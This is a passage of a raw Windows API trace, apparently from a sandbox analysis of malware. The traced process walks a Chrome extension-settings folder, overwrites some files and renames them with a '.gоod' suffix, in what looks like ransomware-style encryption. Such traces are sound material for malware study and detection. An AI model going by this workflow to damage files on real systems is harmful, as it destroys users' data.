ftCreationTime.dwLowDateTime=0xeb375cbe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb375cbe, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf7cf3ec2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0224.935] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb37f8e7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb37f8e7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb37f8e7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1 [0224.935] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0224.935] FindClose (in: hFindFile=0x134b400 | out: hFindFile=0x134b400) returned 1 [0224.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0224.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0224.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0224.936] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpFilePart=0x0) returned 0x76 [0224.936] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb375cbe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb4a218c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb4a218c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0224.938] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb375cbe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb4a218c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb4a218c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.939] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4a218c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb4a218c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb4a218c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0224.939] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb37f8e7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb37f8e7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb3820b1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0224.939] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb37f8e7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb37f8e7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb37f8e7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0224.939] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb375cbe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb375cbe, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf7cf3ec2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0224.939] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb37f8e7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb37f8e7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb37f8e7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1 [0224.939] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb37f8e7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb37f8e7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb37f8e7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 0 [0224.939] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0224.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0224.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0224.940] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log", lpFilePart=0x0) returned 0x81 [0224.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0224.940] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x359c6f8 | out: lpFileInformation=0x359c6f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4a218c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb4a218c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb4a218c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0224.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0224.944] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log", lpFilePart=0x0) returned 0x81 [0224.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0224.944] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0224.944] GetFileType (hFile=0x834) returned 0x1 [0224.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0224.944] GetFileType (hFile=0x834) returned 0x1 [0224.944] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x0 [0224.944] CloseHandle (hObject=0x834) returned 1 [0224.971] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log", lpFilePart=0x0) returned 0x81 [0224.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0224.972] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0224.973] GetFileType (hFile=0x834) returned 0x1 [0224.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0224.973] GetFileType (hFile=0x834) returned 0x1 [0224.973] WriteFile (in: hFile=0x834, lpBuffer=0x36132b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x36132b0*, lpNumberOfBytesWritten=0x208ed308*=0x10, lpOverlapped=0x0) returned 1 [0224.974] CloseHandle (hObject=0x834) returned 1 [0224.974] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log", lpFilePart=0x0) returned 0x81 [0224.974] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log.gоod", lpFilePart=0x0) returned 0x86 [0224.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0224.974] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4a218c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb4a218c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x824e81d8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0224.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0224.974] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log.gоod")) returned 1 [0224.975] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT", lpFilePart=0x0) returned 0x7e [0224.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0224.976] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\current"), fInfoLevelId=0x0, lpFileInformation=0x3614658 | out: lpFileInformation=0x3614658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb37f8e7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb37f8e7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb3820b1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0224.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0224.976] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT", lpFilePart=0x0) returned 0x7e [0224.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0224.976] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\current"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0224.976] GetFileType (hFile=0x834) returned 0x1 [0224.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0224.976] GetFileType (hFile=0x834) returned 0x1 [0224.976] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x10 [0224.976] ReadFile (in: hFile=0x834, lpBuffer=0x36149d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x36149d0*, lpNumberOfBytesRead=0x208ed3f8*=0x10, lpOverlapped=0x0) returned 1 [0225.263] CloseHandle (hObject=0x834) returned 1 [0225.320] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT", lpFilePart=0x0) returned 0x7e [0225.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0225.321] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\current"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0225.322] GetFileType (hFile=0x834) returned 0x1 [0225.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0225.322] GetFileType (hFile=0x834) returned 0x1 [0225.322] WriteFile (in: hFile=0x834, lpBuffer=0x37a26e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x37a26e0*, lpNumberOfBytesWritten=0x208ed308*=0x20, lpOverlapped=0x0) returned 1 [0225.323] CloseHandle (hObject=0x834) returned 1 [0225.323] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT", lpFilePart=0x0) returned 0x7e [0225.323] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT.gоod", lpFilePart=0x0) returned 0x83 [0225.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0225.323] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\current"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb37f8e7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb37f8e7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8283014e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20)) returned 1 [0225.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0225.323] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\current"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\current.gоod")) returned 1 [0225.324] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK", lpFilePart=0x0) returned 0x7b [0225.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0225.324] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\lock"), fInfoLevelId=0x0, lpFileInformation=0x37a3a70 | out: lpFileInformation=0x37a3a70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb37f8e7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb37f8e7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb37f8e7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0225.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0225.324] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK", lpFilePart=0x0) returned 0x7b [0225.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0225.324] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\lock"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0225.324] GetFileType (hFile=0x834) returned 0x1 [0225.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0225.324] GetFileType (hFile=0x834) returned 0x1 [0225.324] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x0 [0225.324] CloseHandle (hObject=0x834) returned 1 [0225.397] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK", lpFilePart=0x0) returned 0x7b [0225.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0225.397] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\lock"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0225.397] GetFileType (hFile=0x82c) returned 0x1 [0225.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0225.398] GetFileType (hFile=0x82c) returned 0x1 [0225.398] WriteFile (in: hFile=0x82c, lpBuffer=0x36149e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x36149e8*, lpNumberOfBytesWritten=0x208ed308*=0x10, lpOverlapped=0x0) returned 1 [0225.399] CloseHandle (hObject=0x82c) returned 1 [0225.399] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK", lpFilePart=0x0) returned 0x7b [0225.399] 